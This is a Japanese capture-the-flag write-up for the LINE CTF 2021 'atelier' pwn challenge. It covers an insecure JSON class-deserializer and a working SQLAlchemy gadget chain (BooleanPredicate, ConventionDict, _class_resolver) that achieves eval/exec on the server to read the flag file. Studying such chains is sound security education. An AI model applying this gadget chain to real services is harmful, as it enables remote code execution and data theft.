LINE CTF 2021にチームTSGとして参加し、PWN atelier (310pts)を解きました。チーム全体では2416ptsで7位でした。
overview
Hi and welcome to my Atelier!
attachment: client.py
rpc_client
なる関数を通して問題サーバーとの通信を行うpythonプログラムが与えられる。
通信方法はオブジェクトをJSONに変換し文字列として送信、そしてそれをパースして元に戻している。
クラスインスタンスの場合は生のJSONでは扱えないので自前の関数でencode/decodeしている。
def object_to_dict(c):
res = {}
res["__class__"] = str(c.__class__.__name__)
res["__module__"] = str(c.__module__)
res.update(c.__dict__)
return res
def dict_to_object(d):
if "__class__" in d:
class_name = d.pop("__class__")
module_name = d.pop("__module__")
module = importlib.import_module(module_name)
class_ = getattr(module, class_name)
inst = class_.__new__(class_)
inst.__dict__.update(d)
else:
inst = d
return inst
async def rpc_client(message):
message = json.dumps(message, default=object_to_dict)
reader, writer = await asyncio.open_connection(sys.argv[1], int(sys.argv[2]))
writer.write(message.encode())
data = await reader.read(2000)
writer.close()
res = json.loads(data, object_hook=dict_to_object)
if isinstance(res, AtelierException):
print("Exception: " + res.message)
exit(1)
return res
solution
Javascriptにおけるプロトタイプ汚染のようなことが可能になっている。RecipeCreateRequest
をサーバーが受け取ると、そのインスタンスのmaterials: str
にアクセスしsplit(",")
が呼ばれているようなので、その部分を上書きしてしまう。
def object_to_dict(c):
res = {}
res["__class__"] = str(c.__class__.__name__)
res["__module__"] = str(c.__module__)
res.update(c.__dict__)
if c.__class__.__name__ == 'RecipeCreateRequest':
res["materials"] = {"__class__": "PickleType", "__module__": "sqlalchemy", "split": "hoge"}
return res
# Exception: TypeError("'str' object is not callable")
適当なインスタンスに替えるとこんな感じになる。この場合はsplit関数が文字列"hoge"に置き換わっているので'str' object is not callable
と怒られている。この問題で面倒なのは
- sqlalchemyのclassしか埋め込めない
- 必ずコンストラクタ
__new__
が走る(引数は気にしなくても良いっぽい?)
点であり、そこまで自由に関数をsplitに上書きすることは出来ない。ここで必要なのは__call__(self, arg1)
が存在するsqlalchemyのclassである。(","
が与えられるので引数が一つ必要)この条件で都合が良さそうなものをGitHubで探してみると、引数の数は異なるが__call__
中にeval
が入っているclassが見つかる。
class _class_resolver(object):
...
def __call__(self):
try:
x = eval(self.arg, globals(), self._dict)
if isinstance(x, _GetColumns):
return x.cls
else:
return x
except NameError as n:
self._raise_for_name(n.args[0], n)
とりあえずこれを埋め込んでみようとすると「clsregistryなんてモジュールは無い」と怒られてしまった。もしかしてこのevalを使わせないようにブロックしているのでは...と思っていたらmoratorium君が古いバージョンではsqlalchemy.ext.declarative.clsregistry
になっていることを見つけてくれた。LINEさんバージョンくらいは明記してくれ~
とにかくこのclassが使えそうだと分かったので、次はこの__call__
を引数なしでよべるように調節する。しばらく探していると
class BooleanPredicate(Predicate):
def __init__(self, value, description=None):
self.value = value
self.description = description or "boolean %s" % value
def __call__(self, config):
return self.value
def _as_string(self, config, negate=False):
return self._format_description(config, negate=negate)
といういかにも使い勝手のよさそうなclassが見つかった。サーバーはsplit(",")
の結果このself.value
を受け取り、self.value[0], self.value[1]
にアクセスすることになる。今度は__getitem__
の中でself.func()
のように無引数でインスタンス変数を関数として呼んでいるclassを探すと、次のようなものが見つかる。
class ConventionDict(object):
...
def __getitem__(self, key):
if key in self.convention:
return self.convention[key](self.const, self.table)
elif hasattr(self, "_key_%s" % key):
return getattr(self, "_key_%s" % key)()
...
これで必要なものがそろったのであとは適切にメンバを設定したオブジェクトを作成する。
def object_to_dict(c):
res = {}
res["__class__"] = str(c.__class__.__name__)
res["__module__"] = str(c.__module__)
res.update(c.__dict__)
if c.__class__.__name__ == 'RecipeCreateRequest':
# RandomSetの部分は有効なclassであればなんでも良い
res["materials"] = {
"__class__": "RandomSet",
"__module__": "sqlalchemy.testing.util",
"split": {
"__class__": "BooleanPredicate",
"__module__": "sqlalchemy.testing.exclusions",
"value": {
"__class__": "ConventionDict",
"__module__": "sqlalchemy.sql.naming", "convention": [],
"_key_0": {
"__class__": "_class_resolver",
"__module__": "sqlalchemy.ext.declarative.clsregistry",
"arg": "exec(\"raise Exception(open('flag').read())\")",
"_dict": {} }}}}
return res
ちなみにeval
の内容は当初exec(\"raise Exception(__import__('os').iterdir())\")
でflagの場所を探していた。
Exception: Exception('LINECTF{4t3l13r_Pyza_th3_4lch3m1st_0f_PyWN}\n')